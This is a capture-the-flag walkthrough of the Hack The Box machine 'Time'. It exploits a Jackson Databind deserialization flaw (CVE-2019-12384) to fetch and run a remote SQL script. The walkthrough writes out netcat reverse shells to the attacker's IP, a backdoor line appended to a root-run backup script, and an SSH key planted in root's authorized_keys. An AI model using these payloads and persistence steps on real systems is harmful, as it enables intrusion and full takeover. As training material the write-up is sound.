Initial Information
Name: | Time
OS: | Linux
Difficulty: | Medium
Points: | 30
Release: | 24 Oct 2020
IP: | 10.10.10.214
Enumeration
As always we can start with an nmap
scan to identify open ports
and service versions.
$ nmap -sC -sV -p- -T4 -oA recon/tcpfull 10.10.10.214
[sudo] password for matesz:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-28 22:20 CET
Nmap scan report for 10.10.10.214
Host is up (0.045s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.61 seconds
http - 80/tcp
This is a small webapp with two main functionality.
- Beautify JSON
- Validate JSON (in Beta)
Beautify
As always we must try to use the application like a normal user would.
We can insert a simple JSON string like {"asd":1}
and the webapp
returns a beautified version of it with spaces and newlines added.
Validate
Since the validator is in beta, we have a higher chance of finding
interesting behaviour for an unexpected input string.
But for first, we must give it a valid input like we did before ({"asd":1}
).
The validator returned an error to this string which is unexpected behaviour!
The error was the following:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
- This verbosive error gave us some of the software used by the webpage.
For instance, we know it’s running Java. The other interesting part of the
error is thecom.fasterxml.jackson.databind.exc
part.
If we search for this string in duckduckgo,
we should find out that the software in use is Jackson Databind.
Searching for CVE’s
Searching for jackson databind exploit site:github.com
reveals that there are some CVE PoC’s for it.
After some scrolling we should find github.com/jas502n/CVE-2019-12384.
The githhub repo links to a blog post (blog.doyensec.com/2019/07/22/jackson-gadgets.html)
which explains the vulnerability in detail.
Exploitation
The blog provides a test payload which makes a get request to /inject.sql
on the provided ip.
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]
Testing
For first, we need to create a “listener” for the request. In this case I used python3 -m http.server 8000
to host a webserver on port 8000.
Then we can replace localhost with our ip address and paste it into the validator!
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.74:8000/inject.sql'"}]
After hitting Process the website starts hanging for a bit and we will eventually get an error:
Validation failed: 2021-04-04 12:29:10 command: slow query: 130 ms
And if we take a look at our listener we should see the target made a get request to /inject.sql
.
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [04/Apr/2021 17:19:07] code 404, message File not found
10.10.10.214 - - [04/Apr/2021 17:19:07] "GET /inject.sql HTTP/1.1" 404 -
Creating inject.sql and gaining foothold
The blog post also mentions the contents of the inject.sql
file.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')
- This creates a file named
exploited.txt
with the contents of the output of theid
command.
We can change this command to a reverse shell to gain shell access to the target.
I used the openbsd netcat reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.74 1337 >/tmp/f
inject.sql
:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.74 1337 >/tmp/f')
We can host this file with python3 -m http.server 8000
and run our initial
payload on the webapp again in order to gain remote code execution by including
the malicious .sql
file.
Hosting:
$ python3 -m http.server 8000
Reverse shell listener:
$ nc -lvnp 1337
Validate payload:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.74:8000/inject.sql'"}]
After 1-2 seconds we should see a get request and a reverse shell as pericles
.
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.214 - - [04/Apr/2021 17:32:39] "GET /inject.sql HTTP/1.1" 200 -
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.10.214] 35242
/bin/sh: 0: can't access tty; job control turned off
$ hostname;id;ip a
time
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default
qlen 1000
link/ether 00:50:56:b9:3c:ce brd ff:ff:ff:ff:ff:ff
inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:3cce/64 scope global dynamic mngtmpaddr
valid_lft 86042sec preferred_lft 14042sec
inet6 fe80::250:56ff:feb9:3cce/64 scope link
valid_lft forever preferred_lft forever
Privilege Escalation from pericles
Enumeration
We can run an automated privesc checker script like linpeas.sh
in order to discover interesting files and possible privilege escalation vectors.
I noted the following lines from the linpeas output.
[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh
/usr/bin/timer_backup.sh
/usr/bin/rescan-scsi-bus.sh
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group pericles:
/usr/bin/timer_backup.sh
/dev/shm/linpeas.sh
- Linpeas found an unusual file on the system:
/usr/bin/timer_backup.sh
For first we can use cat
to get the contents of the file.
$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
- This script is zipping up the contents of the
/var/www/html
directory into/root/backup.zip
- I immediately spotted that it tries to write into the
/root
folder which means only root would have the correct permissions to do this
We can check the owner of the file with ls -l
, and this turns out to be the
current user pericles
.
$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Dec 6 18:05 /usr/bin/timer_backup.sh
This means we can write into this file and we might use it to escalate our
privileges to an other user if it gets executed by someone else on the system.
We can check for the occurrence of this filename recursively on the system with
grep
.
$ grep -r 'timer_backup.sh' / 2>/dev/null
/etc/systemd/system/web_backup.service:ExecStart=/bin/bash /usr/bin/timer_backup.sh
The script is invoked in a systemd service file /etc/systemd/system/web_backup.service
.
The owner of these service files are usually root, but we may check it anyways.
$ ls -la /etc/systemd/system/web_backup.service
-rw-r--r-- 1 root root 106 Oct 23 04:57 /etc/systemd/system/web_backup.service
pspy
We can use pspy to check for running
programs on a linux target.
$ wget 10.10.14.111:8000/pspy64
$ chmod +x ./pspy64
$ ./pspy64
---[SNIP]---
2021/04/15 15:09:41 CMD: UID=0 PID=103761 | /bin/bash /usr/bin/timer_backup.sh
---[SNIP]---
- This confirms our theory that the script gets executed regularly by
root
(UID 0).
Exploitation of the weak permissions
Reverse shell
We can paste a revshell payload into this script and start a listener.
adding a revshell payload to the script:
$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.111 9002 >/tmp/f' >> /usr/bin/timer_backup.sh
listener:
$ nc -lvnp 9002
It is important to note that this shell closes very fast after execution which
means we we have a limited time to execute arbitrary commands.
I copy pasted my commands that I wanted to run when the shell pops.
These were the following ones.
id; hostname; ip a; ls -la /root; cat /root/root.txt
Now, we should wait until the next execution. And quickly paste in our oneliner.
# id; hostname; ip a; ls -la /root; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
time
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:60:94 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:6094/64 scope global dynamic mngtmpaddr
valid_lft 86274sec preferred_lft 14274sec
inet6 fe80::250:56ff:feb9:6094/64 scope link
valid_lft forever preferred_lft forever
total 5816
drwx------ 7 root root 4096 Apr 15 15:37 .
drwxr-xr-x 20 root root 4096 Apr 15 15:37 ..
-rw-r--r-- 1 root root 5900858 Apr 15 15:37 backup.zip
lrwxrwxrwx 1 root root 9 Oct 2 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Feb 10 15:18 .cache
drwx------ 3 root root 4096 Feb 10 15:18 .config
drwxr-xr-x 3 root root 4096 Feb 10 15:18 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-r-------- 1 root root 33 Apr 15 05:14 root.txt
-rw-r--r-- 1 root root 66 Oct 22 08:45 .selected_editor
drwxr-xr-x 3 root root 4096 Feb 10 15:18 snap
drwx------ 2 root root 4096 Feb 10 15:18 .ssh
-rwxr--r-- 1 root root 88 Oct 22 08:49 timer_backup.sh
-rw------- 1 root root 929 Feb 9 14:42 .viminfo
f496-------[REDACTED]-------8d43
Stable ssh shell
But we shouldn’t stop here because we need to get a stable shell.
Since root has a .ssh
directory it means we can paste our public ssh key into
/root/.ssh/authorized_keys
in order to access the target from our attacker machine without any password through ssh.
I used the following command to add my key.
- Note that you might need to generate your ssh keypair with
ssh-keygen
$ echo 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMjNDhZW/vSZFEtwXWlTudO/wMFnw4nP8atTWR6j3OOp matesz@MLKali" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh
And then I just used ssh to connect to the box as root from my attacker host.
$ ssh root@10.10.10.214
Last login: Tue Feb 9 14:41:33 2021
root@time:~# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
time
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:60:94 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.214/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:6094/64 scope global dynamic mngtmpaddr
valid_lft 86020sec preferred_lft 14020sec
inet6 fe80::250:56ff:feb9:6094/64 scope link
valid_lft forever preferred_lft forever